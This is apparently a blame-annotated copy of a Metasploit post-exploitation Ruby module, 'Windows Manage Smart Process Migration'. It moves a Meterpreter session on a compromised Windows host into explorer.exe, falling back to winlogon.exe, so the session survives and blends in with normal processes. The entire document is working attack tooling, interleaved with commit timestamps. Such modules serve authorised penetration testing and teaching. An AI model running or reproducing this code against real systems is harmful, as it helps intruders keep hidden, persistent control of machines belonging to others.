2012-10-31 22:03:49 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-10-31 22:03:49 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
2013-08-13 01:22:02 +00:00
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'Windows Manage Smart Process Migration',
|
|
|
|
'Description' => %q{ This module will migrate a Meterpreter session.
|
2013-08-13 18:56:01 +00:00
|
|
|
It will first attempt to migrate to explorer.exe for the current user. Failing that,
|
|
|
|
it will attempt any other explorer.exe processes. Finally it will fall back to winlogon.exe},
|
2013-08-13 01:22:02 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'thelightcosine'],
|
|
|
|
'Platform' => [ 'win' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
|
|
))
|
2012-10-31 22:03:49 +00:00
|
|
|
|
|
|
|
|
2013-08-13 01:22:02 +00:00
|
|
|
end
|
2012-10-31 22:03:49 +00:00
|
|
|
|
2013-08-13 01:22:02 +00:00
|
|
|
def run
|
|
|
|
server = client.sys.process.open
|
|
|
|
original_pid = server.pid
|
|
|
|
print_status("Current server process: #{server.name} (#{server.pid})")
|
2015-11-19 13:30:12 +00:00
|
|
|
if server.name.casecmp("winlogon.exe") == 0 or server.name.casecmp("explorer.exe") == 0
|
|
|
|
print_good("Current process is already in #{server.name} process, exiting.")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2012-10-31 22:03:49 +00:00
|
|
|
|
2013-08-13 01:22:02 +00:00
|
|
|
uid = client.sys.config.getuid
|
2012-10-31 22:03:49 +00:00
|
|
|
|
2013-08-13 01:22:02 +00:00
|
|
|
processes = client.sys.process.get_processes
|
2012-10-31 22:03:49 +00:00
|
|
|
|
2013-08-13 01:22:02 +00:00
|
|
|
uid_explorer_procs = []
|
|
|
|
explorer_procs = []
|
|
|
|
winlogon_procs = []
|
|
|
|
processes.each do |proc|
|
|
|
|
uid_explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] == uid
|
|
|
|
explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] != uid
|
|
|
|
winlogon_procs << proc if proc['name'] == "winlogon.exe"
|
|
|
|
end
|
2012-10-31 22:03:49 +00:00
|
|
|
|
2013-08-12 16:02:27 +00:00
|
|
|
print_status "Attempting to move into explorer.exe for current user..."
|
2013-08-13 01:22:02 +00:00
|
|
|
uid_explorer_procs.each { |proc| return if attempt_migration(proc['pid']) }
|
2013-08-12 16:02:27 +00:00
|
|
|
print_status "Attempting to move into explorer.exe for other users..."
|
2013-08-13 01:22:02 +00:00
|
|
|
explorer_procs.each { |proc| return if attempt_migration(proc['pid']) }
|
2013-08-12 16:02:27 +00:00
|
|
|
print_status "Attempting to move into winlogon.exe"
|
|
|
|
winlogon_procs.each { |proc| return if attempt_migration(proc['pid']) }
|
2012-10-31 22:03:49 +00:00
|
|
|
|
2013-08-13 01:22:02 +00:00
|
|
|
print_error "Was unable to sucessfully migrate into any of our likely candidates"
|
|
|
|
end
|
2012-10-31 22:03:49 +00:00
|
|
|
|
|
|
|
|
2013-08-13 01:22:02 +00:00
|
|
|
def attempt_migration(target_pid)
|
|
|
|
begin
|
|
|
|
print_good("Migrating to #{target_pid}")
|
|
|
|
client.core.migrate(target_pid)
|
2013-08-13 18:56:01 +00:00
|
|
|
print_good("Successfully migrated to process #{target_pid}")
|
2013-08-13 01:22:02 +00:00
|
|
|
return true
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_error("Could not migrate in to process.")
|
|
|
|
print_error(e.to_s)
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
end
|
2012-10-31 22:03:49 +00:00
|
|
|
end
|